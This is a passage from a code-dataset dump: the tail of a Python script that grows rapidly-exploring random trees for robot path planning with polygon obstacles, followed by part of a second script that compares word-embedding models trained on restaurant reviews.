RRT and Path\r\n'''\r\ndef displayRRTandPath(points, adjListMap, path, robotStart=None, robotGoal=None, polygons=None):\r\n    _, ax = setupPlot()\r\n    if robotStart != None and robotGoal != None and polygons != None:\r\n        patch = createPolygonPatch(robotStart, 'green')\r\n        ax.add_patch(patch)    \r\n        patch = createPolygonPatch(robotGoal, 'red')\r\n        ax.add_patch(patch)    \r\n        for p in range(0, len(polygons)):\r\n            #print(\"adding patch\")\r\n            patch = createPolygonPatch(polygons[p], 'gray')\r\n            ax.add_patch(patch)    \r\n    \r\n    drawLines(adjListMap, points, _, ax)\r\n    drawpath(path, points, _, ax)\r\n    ax.plot()\r\n    plt.show()\r\n    return\r\n\r\ndef drawLines(adjMap, vertices, fig, ax):\r\n    #print(\"vertices: \" + str(vertices))\r\n    for v in vertices:\r\n        #print(\"adjMap[\"+str(v)+\"]: \" + str(adjMap[v]))\r\n        for label in adjMap[v]:\r\n            #print(\"line: \" + str(v) + \" , \" + str(label))\r\n            newline(vertices[v], vertices[label], 'black')\r\n\r\ndef newline(p1, p2, c):\r\n    ax = plt.gca()\r\n    line = [(p1[0], p1[1]), (p2[0], p2[1])]\r\n    (linxs, linys) = zip(*line)\r\n    ax.add_line(mlines.Line2D(linxs, linys, linewidth=1, color=c))\r\n\r\ndef drawpath(path, vertices, fig, ax):\r\n    if path == [] or path == None:\r\n        return\r\n    curr = path[0]\r\n    for i in range(0,len(path)):\r\n        if i != len(path)-1:\r\n            #print(\"path line: \" + str(vertices[path[i]])+\", \"+str(vertices[path[i+1]]))\r\n            newline(vertices[path[i]], vertices[path[i+1]], 'orange')\r\n\r\n\r\n'''\r\nGrow a simple RRT \r\n'''\r\ndef growSimpleRRT(points):\r\n    newPoints = {}\r\n    adjListMap = {}\r\n    \r\n    pointCount = 1\r\n\r\n    for key in points:\r\n        newP = points[key]\r\n        if key == 1:\r\n            newPoints[1] = points[1]\r\n            adjListMap[1] = []\r\n        else:\r\n            minDist = float('inf')\r\n            closestPoint = [] ## [x, y]\r\n            closestEdge = [] ## [p, q]\r\n            for sourceNodeKey in adjListMap:\r\n                p = newPoints[sourceNodeKey]\r\n                for destNodeKey in adjListMap[sourceNodeKey]:\r\n                    q = newPoints[destNodeKey]\r\n                    (qN, dist) = findNearestPointOnEdge(p, q, newP)\r\n                    if dist < minDist:\r\n                        minDist = dist\r\n                        closestPoint = qN\r\n                        closestEdge = [p, q]\r\n            if minDist == float('inf'):\r\n                pointCount = pointCount + 1 \r\n                newPoints[key] =  points[key]\r\n                adjListMap[key] = [1]\r\n                adjListMap[1] = [key]\r\n            else:\r\n                if closestEdge != [] and (closestPoint == closestEdge[0] or closestPoint == closestEdge[1]):\r\n                    pointCount = pointCount + 1\r\n                    newPoints[pointCount] = newP\r\n                    adjListMap[pointCount] = [getPointKey(closestPoint, newPoints)]\r\n                else:#new pt on the edge\r\n                    pointCount = pointCount + 1\r\n                    newPoints[pointCount] = newP\r\n                    adjListMap[pointCount] = [pointCount+1]\r\n                    pointCount = pointCount + 1\r\n                    newPoints[pointCount] = closestPoint\r\n                    adjListMap[pointCount] = [pointCount - 1] #adj to the new point\r\n                    pKey = getPointKey(closestEdge[0], newPoints)\r\n                    qKey = getPointKey(closestEdge[1], newPoints)\r\n                    adjListMap[pointCount].append(pKey)\r\n                    adjListMap[pointCount].append(qKey)\r\n                    adjListMap[pKey].append(pointCount)\r\n                    adjListMap[qKey].append(pointCount)\r\n                    try:\r\n                        adjListMap[pKey].remove(qKey)\r\n                    except Exception as e:\r\n                        raise e\r\n                    try:\r\n                        adjListMap[qKey].remove(pKey)\r\n                    except Exception as e:\r\n                        print(\"\")\r\n    return newPoints, adjListMap\r\n'''\r\nGrow a simple RRT with edge detection with obstacles\r\n'''\r\ndef growSimpleRRTwithObstacles(points, obstacles):\r\n    newPoints = {}\r\n    adjListMap = {}\r\n    unaddedPoints = []\r\n    pointCount = 1\r\n\r\n    for k in points:\r\n        nextPoint = points[k]\r\n\r\n        if k == 1:#root\r\n            newPoints[1] = points[1]\r\n            adjListMap[1] = []\r\n        else:#k>1... check for every edge in tree find the closest one\r\n            minDistance = float('inf')\r\n            closestPoint = []\r\n            edgeUsed = [[],[]]\r\n            for sk in adjListMap:\r\n                for dk in adjListMap[sk]:\r\n                    p = newPoints[sk]\r\n                    q = newPoints[dk]\r\n                    (nearestPointOnTree, distance) = findNearestPointOnEdge(p, q, nextPoint)\r\n                    \r\n                    if distance < minDistance:\r\n                        ##check collision\r\n                        newEdge = [nextPoint, nearestPointOnTree]\r\n                        if isCollisionFree(newEdge, (0,0), obstacles):\r\n                            minDistance = distance\r\n                            closestPoint = nearestPointOnTree\r\n                            edgeUsed = [p,q]\r\n\r\n            if pointCount == 1:\r\n                newEdge = [nextPoint, newPoints[1]]\r\n                if isCollisionFree(newEdge, (0,0), obstacles):\r\n                    minDistance = squaredDist(nextPoint, newPoints[1])\r\n                    closestPoint = newPoints[1]\r\n                    edgeUsed = [newPoints[1],newPoints[1]]\r\n\r\n            if minDistance != float('inf'):\r\n                if closestPoint == edgeUsed[0] or closestPoint == edgeUsed[1]:\r\n                    pointCount = pointCount + 1\r\n                    newPoints[pointCount] = nextPoint\r\n                    adjListMap[pointCount] = [getPointKey(closestPoint, newPoints)]\r\n                else:#new pt on the edge\r\n                    pointCount = pointCount + 1\r\n                    newPoints[pointCount] = nextPoint\r\n                    adjListMap[pointCount] = [pointCount+1]\r\n                    pointCount = pointCount + 1\r\n                    newPoints[pointCount] = closestPoint\r\n                    adjListMap[pointCount] = [pointCount - 1] #adj to the new point\r\n                    pKey = getPointKey(edgeUsed[0], newPoints)\r\n                    qKey = getPointKey(edgeUsed[1], newPoints)\r\n                    adjListMap[pointCount].append(pKey)\r\n                    adjListMap[pointCount].append(qKey)\r\n                    adjListMap[pKey].append(pointCount)\r\n                    adjListMap[qKey].append(pointCount)\r\n                    try:\r\n                        adjListMap[pKey].remove(qKey)\r\n                    except Exception as e:\r\n                        raise e\r\n                    try:\r\n                        adjListMap[qKey].remove(pKey)\r\n                    except Exception as e:\r\n                        print(\"\")\r\n            else:\r\n                unaddedPoints.append(nextPoint)\r\n\r\n\r\n\r\n    print(\"Added Pts: \" + str(newPoints))\r\n    print(\"\\nUnaddedPts: \" + str(unaddedPoints))\r\n    \r\n    retryCount = 10\r\n    while unaddedPoints and retryCount > 0:\r\n        pt = random.choice(unaddedPoints)\r\n        (newPoints1, adjListMap1) = addPointToTree(pt,newPoints, adjListMap,obstacles)\r\n        newPoints = newPoints1\r\n        adjListMap = adjListMap1\r\n        if pt in newPoints:\r\n            print(\"Removing pt : \" + str(pt))\r\n            unaddedPoints.remove(pt)\r\n        retryCount = retryCount - 1\r\n\r\n    return newPoints, adjListMap\r\n'''\r\nexpand tree function to add point to the tree if possible\r\n'''\r\ndef addPointToTree(point, newPoints, adjListMap, obstacles):\r\n    print(\"Adding pt: \" + str(point))\r\n    pointCount = len(adjListMap)\r\n    unaddedPoints = []\r\n\r\n    minDistance = float('inf')\r\n    closestPoint = []\r\n    edgeUsed = [[],[]]\r\n    for sk in adjListMap:\r\n        for dk in adjListMap[sk]:\r\n            p = newPoints[sk]\r\n            q = newPoints[dk]\r\n            (nearestPointOnTree, distance) = findNearestPointOnEdge(p, q, point)\r\n            \r\n            if distance < minDistance:\r\n                ##check collision\r\n                newEdge = [point, nearestPointOnTree]\r\n                if isCollisionFree(newEdge, (0,0), obstacles):\r\n                    minDistance = distance\r\n                    closestPoint = nearestPointOnTree\r\n                    edgeUsed = [p,q]\r\n    if minDistance != float('inf'):\r\n        if closestPoint == edgeUsed[0] or closestPoint == edgeUsed[1]:\r\n            pointCount = pointCount + 1\r\n            newPoints[pointCount] = point\r\n            adjListMap[pointCount] = [getPointKey(closestPoint, newPoints)]\r\n        else:#new pt on the edge\r\n            pointCount = pointCount + 1\r\n            newPoints[pointCount] = point\r\n            adjListMap[pointCount] = [pointCount+1]\r\n            pointCount = pointCount + 1\r\n            newPoints[pointCount] = closestPoint\r\n            adjListMap[pointCount] = [pointCount - 1] #adj to the new point\r\n            pKey = getPointKey(edgeUsed[0], newPoints)\r\n            qKey = getPointKey(edgeUsed[1], newPoints)\r\n            adjListMap[pointCount].append(pKey)\r\n            adjListMap[pointCount].append(qKey)\r\n            adjListMap[pKey].append(pointCount)\r\n            adjListMap[qKey].append(pointCount)\r\n            try:\r\n                adjListMap[pKey].remove(qKey)\r\n            except Exception as e:\r\n                raise e\r\n            try:\r\n                adjListMap[qKey].remove(pKey)\r\n            except Exception as e:\r\n                print(\"\")\r\n    return (newPoints, adjListMap)\r\n\r\n'''\r\nreturns the key value of a given point\r\n'''\r\ndef getPointKey(p, points):\r\n    for i in points:\r\n        if p == points[i]:\r\n            return i\r\n    return -1\r\n'''\r\nCalc square distance between two points\r\n'''\r\ndef squaredDist(p, q):\r\n    return (p[0] - q[0])**2 + (p[1] - q[1])**2\r\n\r\n'''\r\nCalc Nearest Point On Edge\r\n'''\r\ndef findNearestPointOnEdge(p, q, q_rand):\r\n    [x1, y1] = p\r\n    [x2, y2] = q\r\n    [xr, yr] = q_rand\r\n\r\n    m1 = (y2 - y1)/(x2-x1)\r\n    m2 = -1/m1\r\n\r\n    b1 = y1 - m1*x1\r\n    b2 = yr - m2*xr\r\n\r\n    x_nearest = (b2 - b1)/(m1 - m2)\r\n    y_nearest = m1*x_nearest + b1\r\n\r\n    if (x_nearest < max(x1, x2) and x_nearest > min(x1, x2)) and (y_nearest < max(y1, y2) and y_nearest > min(y1, y2)):\r\n        return ([x_nearest, y_nearest], squaredDist(q_rand, [x_nearest, y_nearest]))\r\n    if squaredDist(p, q_rand) < squaredDist(q, q_rand):\r\n        return (p, squaredDist(p, q_rand))\r\n\r\n    return (q, squaredDist(q, q_rand))\r\n\r\n\r\n'''\r\nPerform basic search \r\n'''\r\ndef basicSearch(tree, start, goal):\r\n    if len(tree) <= 1:\r\n        return []\r\n    visited = [0]*len(tree)\r\n    visited[1] = 1\r\n    return dfs(tree, start, goal, visited)\r\n\r\n'''\r\nrecursive dfs helper\r\n'''\r\ndef dfs(tree, start, goal, visited):\r\n    if start == goal:\r\n        return [goal]\r\n    if tree[start] == [] or tree[start] == None:\r\n        return []\r\n    for k in [i for i in tree[start] if visited[i] == 0]:\r\n        visited[k] = 1\r\n        path = dfs(tree, k, goal, visited)\r\n        if path != []:\r\n            path.insert(0,start)\r\n            return path\r\n    return []\r\n\r\n'''\r\nCollision checking\r\n'''\r\n# def isCollisionFree(robot, point, obstacles):\r\n#     print(\"robot: \" + str(robot))\r\n#     print(\"point: \" + str(point))\r\n#     print(\"obstacles: \" + str(obstacles))\r\n#     for x in range(0,len(robot)):\r\n#         X1 = robot[x][0]+point[0]\r\n#         Y1 = robot[x][1]+point[1]\r\n#         if(x == len(robot)-1):\r\n#             X2 = robot[0][0]+point[0]\r\n#             Y2 = robot[0][1]+point[1]\r\n#         else:\r\n#             X2 = robot[x+1][0]+point[0]\r\n#             Y2 = robot[x+1][1]+point[1]\r\n\r\n#         for obs in obstacles:\r\n#             for y in range(0,len(obs)):\r\n#                 X3 = obs[y][0]\r\n#                 Y3 = obs[y][1]\r\n#                 if (y == len(obs) - 1):\r\n#                     X4 = obs[0][0]\r\n#                     Y4 = obs[0][1]\r\n#                 else:\r\n#                     X4 = obs[y + 1][0]\r\n#                     Y4 = obs[y + 1][1]\r\n#                 if (intersectLines([X1,Y1], [X2,Y2], [X3, Y3], [X4, Y4]) == True):\r\n#                     return False\r\n#     return True\r\n\r\n'''\r\nCollision checking\r\n'''\r\ndef isCollisionFree(robot, point, obstacles):\r\n    print(\"robot: \" + str(robot))\r\n    print(\"point: \" + str(point))\r\n    print(\"obstacles: \" + str(obstacles))\r\n    for x in range(0,len(robot)):\r\n        X1 = robot[x][0]+point[0]\r\n        Y1 = robot[x][1]+point[1]\r\n        if(x == len(robot)-1):\r\n            X2 = robot[0][0]+point[0]\r\n            Y2 = robot[0][1]+point[1]\r\n        else:\r\n            X2 = robot[x+1][0]+point[0]\r\n            Y2 = robot[x+1][1]+point[1]\r\n        # print(\"X1, Y1 = \", X1, \", \", Y1)\r\n        # print(\"X2, Y2 = \", X2, \", \", Y2,\"\\n\")\r\n        for obs in obstacles:\r\n            for y in range(0,len(obs)):\r\n                X3 = obs[y][0]\r\n                Y3 = obs[y][1]\r\n                if (y == len(obs) - 1):\r\n                    X4 = obs[0][0]\r\n                    Y4 = obs[0][1]\r\n                else:\r\n                    X4 = obs[y + 1][0]\r\n                    Y4 = obs[y + 1][1]\r\n\r\n                # print(\"X3, Y3 = \", X3, \", \", Y3)\r\n                # print(\"X4, Y4 = \", X4, \", \", Y4)\r\n                if intersectLines([X1,Y1], [X2,Y2], [X3, Y3], [X4, Y4]):\r\n                    # print(\"Intersection found\")\r\n                    return False\r\n    return True\r\n\r\ndef intersectLines( pt1, pt2, ptA, ptB ): \r\n    DET_TOLERANCE = 0.00001\r\n    x1, y1 = pt1;   x2, y2 = pt2\r\n    dx1 = x2 - x1;  dy1 = y2 - y1\r\n    x, y = ptA;   xB, yB = ptB;\r\n    dx = xB - x;  dy = yB - y;\r\n    # print(\"Stuff\")\r\n    DET = (-dx1 * dy + dy1 * dx)\r\n\r\n    if math.fabs(DET) < DET_TOLERANCE: \r\n    \treturn False\r\n    DETinv = 1.0/DET\r\n    r = DETinv * (-dy  * (x-x1) +  dx * (y-y1))\r\n    s = DETinv * (-dy1 * (x-x1) + dx1 * (y-y1))\r\n    xi = (x1 + r*dx1 + x + s*dx)/2.0\r\n    yi = (y1 + r*dy1 + y + s*dy)/2.0\r\n    # print(\"Intersection: \",xi,\",\",yi)\r\n    if xi <= max(x1, x2) and xi >= min(x1, x2) and yi <= max(y1, y2) and yi >= min(y1, y2):\r\n        if xi <= max(x, xB) and xi >= min(x, xB) and yi <= max(y, yB) and yi >= min(y, yB):\r\n            print(\"Intersection at: \", xi, \", \", yi)\r\n            return True\r\n    return False\r\n\r\n'''\r\nThe full RRT algorithm\r\n'''\r\ndef RRT(robot, obstacles, startPoint, goalPoint):\r\n    points = dict()\r\n    points2 = dict()\r\n    tree = dict()\r\n    path = []\r\n    points[1] = startPoint\r\n    points[2] = goalPoint\r\n    modobstacles = obstacles[0:len(obstacles) - 2]  # so as to not include the surrounding area in point calc\r\n    for init in range(0, 50):\r\n        x = np.random.ranf() * 10  # we are given that the area is from 0 to 10 in a box\r\n        y = np.random.ranf() * 10\r\n        for obstacle in modobstacles:\r\n            tempArray = np.empty((0, 2), float)\r\n            for obs in range(0, len(obstacle)):\r\n                tempArray = np.append(tempArray, np.array([obstacle[obs]]), axis=0)\r\n            tempArray = np.append(tempArray, np.array([obstacle[0]]), axis=0)\r\n            tempPath = mpPath.Path(tempArray)\r\n            if (tempPath.contains_point((x, y))):\r\n                break\r\n            else:\r\n                pass\r\n        if (tempPath.contains_point((x, y)) == False):\r\n            points[len(points) + 1] = (x, y)\r\n    # goal = len(points)+1\r\n    # points[goal] = goalPoint\r\n    points2, tree = growSimpleRRTwithObstacles(points, obstacles)\r\n\r\n    if dictsearch(goalPoint,points2) == 0:\r\n        path = []\r\n    else:\r\n        path = basicSearch(tree, 1, dictsearch(goalPoint, points2))\r\n    if dictsearch(goalPoint,points) == 0:\r\n        points[len(points) + 1] = goalPoint\r\n    while path == [] and len(points )<100:\r\n        for init in range(0, 10):\r\n            x = np.random.ranf() * 10  # we are given that the area is from 0 to 10 in a box\r\n            y = np.random.ranf() * 10\r\n            for obstacle in modobstacles:\r\n                tempArray = np.empty((0, 2), float)\r\n                for obs in range(0, len(obstacle)):\r\n                    tempArray = np.append(tempArray, np.array([obstacle[obs]]), axis=0)\r\n                tempArray = np.append(tempArray, np.array([obstacle[0]]), axis=0)\r\n                tempPath = mpPath.Path(tempArray)\r\n                if (tempPath.contains_point((x, y))):\r\n                    break\r\n                else:\r\n                    pass\r\n            if (tempPath.contains_point((x, y)) == False):\r\n                points[len(points) + 1] = (x, y)\r\n        if dictsearch(goalPoint, points)==False:\r\n            points[len(points) + 1] = (x, y)\r\n        points2, tree = growSimpleRRTwithObstacles(points, obstacles)\r\n        if dictsearch(goalPoint, points2)==0:\r\n            path = []\r\n\r\n        else:\r\n            pass\r\n            path = basicSearch(tree, 1, 2)\r\n        points[len(points) + 1] = goalPoint\r\n    points2, tree = growSimpleRRTwithObstacles(points, obstacles)\r\n    path = basicSearch(tree, 1, 2)\r\n\r\n    return points2, tree, path\r\n\r\ndef dictsearch(val, dict):\r\n    for items in dict:\r\n        if val ==dict[items]:\r\n            return items\r\n    return 0\r\n\r\n    return points, tree, path\r\ndef ccw(A,B,C):\r\n    return ((C[1]-A[1])) * (B[0]-A[0]) > ((B[1]-A[1]) * (C[0]-A[0]))\r\n\r\ndef intersect(A, B, C, D):\r\n    return ccw(A,C,D) != ccw(B,C,D) and ccw(A,B,C) != ccw(A,B,D)\r\n\r\n\r\ndef main(filename, x1, y1, x2, y2, display=''):\r\n    # Read data and parse polygons\r\n    lines = [line.rstrip('\\n') for line in open(filename)]\r\n    robot = []\r\n    obstacles = []\r\n    for line in range(0, len(lines)):\r\n        xys = lines[line].split(';')\r\n        polygon = []\r\n        for p in range(0, len(xys)):\r\n            xy = xys[p].split(',')\r\n            polygon.append((float(xy[0]), float(xy[1])))\r\n        if line == 0 :\r\n            robot = polygon\r\n        else:\r\n            obstacles.append(polygon)\r\n\r\n    # Print out the data\r\n    print(\"Robot:\")\r\n    print(str(robot))\r\n    print(\"Pologonal obstacles:\")\r\n    for p in range(0, len(obstacles)):\r\n        print(str(obstacles[p]))\r\n    print(\"\")\r\n\r\n    # Visualize\r\n    if display == 'display1':\r\n        robotStart = [(x + x1, y + y1) for x, y in robot]\r\n        robotGoal = [(x + x2, y + y2) for x, y in robot]\r\n        drawProblem(robotStart, robotGoal, obstacles)\r\n\r\n    # Example points for calling growSimpleRRT\r\n    # You should expect many mroe points, e.g., 200-500\r\n    points = dict()\r\n    points[1] = (5, 5)\r\n    points[2] = (7, 8.2)\r\n    points[3] = (6.5, 5.2)\r\n    points[4] = (0.3, 4)\r\n    points[5] = (6, 3.7)\r\n    points[6] = (9.7, 6.4)\r\n    points[7] = (4.4, 2.8)\r\n    points[8] = (9.1, 3.1)\r\n    points[9] = (8.1, 6.5)\r\n    points[10] = (0.7, 5.4)\r\n    points[11] = (5.1, 3.9)\r\n    points[12] = (2, 6)\r\n    points[13] = (0.5, 6.7)\r\n    points[14] = (8.3, 2.1)\r\n    points[15] = (7.7, 6.3)\r\n    points[16] = (7.9, 5)\r\n    points[17] = (4.8, 6.1)\r\n    points[18] = (3.2, 9.3)\r\n    points[19] = (7.3, 5.8)\r\n    points[20] = (9, 0.6)\r\n\r\n    # Printing the points\r\n    print(\"\")\r\n    print(\"The input points are:\")\r\n    print(str(points))\r\n    print(\"\")\r\n    points, adjListMap = growSimpleRRT(points)\r\n    print(\"\")\r\n    print(\"The new points are:\")\r\n    print(str(points))\r\n    print(\"\")\r\n    print(\"\")\r\n    print(\"The tree is:\")\r\n    print(str(adjListMap))\r\n    print(\"\")\r\n\r\n    # Search for a solution  \r\n    # change 1 and 20 as you want\r\n    path = basicSearch(adjListMap, 1, 2)\r\n    print(\"\")\r\n    print(\"The path is:\")\r\n    print(str(path))\r\n    print(\"\")\r\n\r\n    # Your visualization code \r\n    if display == 'display2':\r\n        displayRRTandPath(points, adjListMap, path) \r\n\r\n    # Solve a real RRT problem\r\n    points, adjListMap, path = RRT(robot, obstacles, (x1, y1), (x2, y2))\r\n    \r\n    # Your visualization code \r\n    if display == 'display3':\r\n        robotStart = [(x + x1, y + y1) for x, y in robot]\r\n        robotGoal = [(x + x2, y + y2) for x, y in robot]\r\n        isCollisionFree(robot, [0,0], obstacles)\r\n        displayRRTandPath(points, adjListMap, path, robotStart, robotGoal, obstacles) \r\n\r\n\r\nif __name__ == \"__main__\":\r\n    # Retrive file name for input data\r\n    if(len(sys.argv) < 6):\r\n        print(\"Five arguments required: python spr.py [env-file] [x1] [y1] [x2] [y2]\")\r\n        exit()\r\n    \r\n    filename = sys.argv[1]\r\n    x1 = float(sys.argv[2])\r\n    y1 = float(sys.argv[3])\r\n    x2 = float(sys.argv[4])\r\n    y2 = float(sys.argv[5])\r\n    display = ''\r\n    if(len(sys.argv) == 7):\r\n        display = sys.argv[6]\r\n\r\n    main(filename, x1, y1, x2, y2, display)\r\n", "repo_name": "Bundar/Rapidly-exploring-Random-Trees", "sub_path": "rrt.py", "file_name": "rrt.py", "file_ext": "py", "file_size_in_byte": 22160, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.path.Path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matplotlib.path", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.path.Path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.path", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.path.Path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "matplotlib.path", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.path.Path", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.path", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.patches.PathPatch", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 91, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 238, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 441, "usage_type": "call"}, {"api_name": "numpy.random.ranf", "line_number": 467, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 467, "usage_type": "attribute"}, {"api_name": "numpy.random.ranf", "line_number": 468, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 468, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 472, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 472, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 473, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 473, "usage_type": "call"}, {"api_name": "matplotlib.path.Path", "line_number": 474, "usage_type": "call"}, {"api_name": "matplotlib.path", "line_number": 474, "usage_type": "name"}, {"api_name": "numpy.random.ranf", "line_number": 493, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 493, "usage_type": "attribute"}, {"api_name": "numpy.random.ranf", "line_number": 494, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 494, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 496, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 498, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 498, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 499, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 499, "usage_type": "call"}, {"api_name": "matplotlib.path.Path", "line_number": 500, "usage_type": "call"}, {"api_name": "matplotlib.path", "line_number": 500, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 630, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 634, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 635, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 636, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 637, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 638, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 640, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 641, "usage_type": "attribute"}]}
{"seq_id": "70388663946", "text": "import sys\nsys.path.insert(0, '../util/')\nfrom util import config_to_name\nimport numpy as np\nfrom scipy.spatial import distance\nimport cPickle as pickle\n\ndef load_model(config, path):\n    mfile = config_to_name(config) + '.pkl'\n    loader = pickle.load(open(path + mfile, \"rb\"))\n    model = loader['model']\n\n    return model['alpha'], model['rho'], model['weight'], model['invmu']\n\ndef nearest_words(alpha, rand_ind):\n    \n    select = alpha[rand_ind, :]\n    dist = distance.cdist(select, alpha)\n    indices = np.argsort(dist, axis=-1)\n    neighbors = indices[:, 0:9]\n\n    return neighbors\n    \ndef print_neighbors(iwords, neighbors):\n\n    for i, iword in zip(range(len(iwords)), iwords):\n        s = reverse_dictionary[iword] + ': '\n\n        for nei in neighbors[i, :]:\n            s = s + reverse_dictionary[nei] + ','\n\n        print(s)\n\ndef top_words(score, num):\n    ind = np.argsort(- score)\n    words = [reverse_dictionary[ind[i]] for i in xrange(num)] \n\n    return words\n\n\ndataset = 'restaurant'\ndata_path = '/rigel/dsi/users/ll3105/sa-data/' + dataset + '/'\nvoc_dict = pickle.load(open(data_path + 'voc_dict.pkl', 'rb'))\nreverse_dictionary = voc_dict['rev_dic']\ndictionary = voc_dict['dic']\n\n\nconfig1 = dict(use_sideinfo=False, K=64, max_iter=800000, half_window=1, reg_weight=0.01, num_neg=500, negpos_ratio=1000, exposure=False, cont_train=True)\nalpha1, rho1, weight1, invmu1 = load_model(config1, data_path + 'splits/')\n\nconfig2 = dict(use_sideinfo=False, K=64, max_iter=800000, half_window=1, reg_weight=0.01, num_neg=500, negpos_ratio=1000, exposure=True, cont_train=True)\nalpha2, rho2, weight2, invmu2 = load_model(config2, data_path + 'splits/')\n\nconfig3 = dict(use_sideinfo=True, K=64, max_iter=800000, half_window=1, reg_weight=0.01, num_neg=500, negpos_ratio=1000, exposure=True, cont_train=True)\nalpha3, rho3, weight3, invmu3 = load_model(config3, data_path + 'splits/')\n\n#rand_ind = np.random.choice(alpha1.shape[0], 100, replace=False)\nwords = ['ramen', 'delicious', 'disgusting', 'expensive', 'noisy', 'waiter', 'dirty', 'sushi', 'pepperoni', 'water', 'restaurant', \n         'guest', 'pricy', 'coffee', 'early', 'carry', 'often', 'back', 'again', 'mcdonald']\nrand_ind = np.array([dictionary[word] for word in words])\n\nprint('==================================================================================')\nneighbors1 = nearest_words(alpha1, rand_ind)\nneighbors2 = nearest_words(alpha2, rand_ind)\nneighbors3 = nearest_words(alpha3, rand_ind)\n\nnneq = np.sum(neighbors1 != neighbors2, axis=1) + np.sum(neighbors2 != neighbors3, axis=1) + np.sum(neighbors1 != neighbors3, axis=1)\ntop_diff = np.argsort(-nneq)[0 : 15]\n#top_diff = range(0, 100)\n\nprint_neighbors(rand_ind[top_diff], neighbors1[top_diff, 1:])\nprint('-------------')\nprint_neighbors(rand_ind[top_diff], neighbors2[top_diff, 1:])\nprint('-------------')\nprint_neighbors(rand_ind[top_diff], neighbors3[top_diff, 1:])\n\nprint('==================================================================================')\n\n\ndef neighbor_rank(word_ref, words, alpha):\n\n    w_ind = dictionary[word_ref]\n    w_dist = distance.cdist(alpha[w_ind : w_ind + 1, :], alpha)\n    sind = np.argsort(w_dist)\n\n    ranks = []\n    for word in words:\n        r_ind = dictionary[word]\n        ind = np.nonzero(sind == r_ind)[1][0]\n        ranks.append(ind)\n\n    return ranks \n\nword_ref = 'pizza'\nwords = ['crust', 'pizzas', 'pepperoni', 'wings', 'delivery', 'calzone', 'pie']\nprint(words)\nnr = neighbor_rank(word_ref, words, alpha1)\nprint(nr)\nnr = neighbor_rank(word_ref, words, alpha2)\nprint(nr)\nnr = neighbor_rank(word_ref, words, alpha3)\nprint(nr)\n\nword_ref = 'pizza'\nwords = ['sushi', 'breakfast', 'rice', 'pho', 'pork', 'egg', 'pancakes']\nprint(words)\nnr = neighbor_rank(word_ref, words, alpha1)\nprint(nr)\nnr = neighbor_rank(word_ref, words, alpha2)\nprint(nr)\nnr = neighbor_rank(word_ref, words, alpha3)\nprint(nr)\n\nprint('==================================================================================')\n\nprint('\"pizza\" feature has the largest weight on word:')\nprint(top_words(weight3[:, 4], 8))\nprint('\"pizza\" feature has the smallest weight on word:')\nprint(top_words(-weight3[:, 4], 8))\n\nprint('\"waiter\" feature has the largest weight on word:')\nprint(top_words(weight3[:, 15], 8))\nprint('\"waiter\" feature has the smallest weight on word:')\nprint(top_words(-weight3[:, 15], 8))\n\n\n\nprint('\"outseat\" feature has the largest weight on word:')\nprint(top_words(weight3[:, 14], 8))\nprint('\"outseat\" feature has the smallest weight on word:')\nprint(top_words(-weight3[:, 14], 8))\n\n\n\n\nprint('==================================================================================')\npind = dictionary['beef']\neind = dictionary['juicy']\nsind = dictionary['bread']\n\ndef word_relation(alpha, pind, eind, sind):\n    target = alpha[sind, :] + (alpha[eind, :] - alpha[pind, :])\n    dist = distance.cdist(target.reshape([1, -1]), alpha)\n    iwords = np.argsort(dist[0, :])[0 : 10]\n    candidates = [reverse_dictionary[iword] for iword in iwords]\n    return candidates\n\n\ncandidates = word_relation(alpha1, pind, eind, sind) \nprint('Words nearest to the target are ')\nprint(candidates)\n\ncandidates = word_relation(alpha2, pind, eind, sind)\nprint('Words nearest to the target are ')\nprint(candidates)\n\n\n\n", "repo_name": "lipingliulp/sentiment-analysis", "sub_path": "summarize/embedding_compare.py", "file_name": "embedding_compare.py", "file_ext": "py", "file_size_in_byte": 5244, "program_lang": 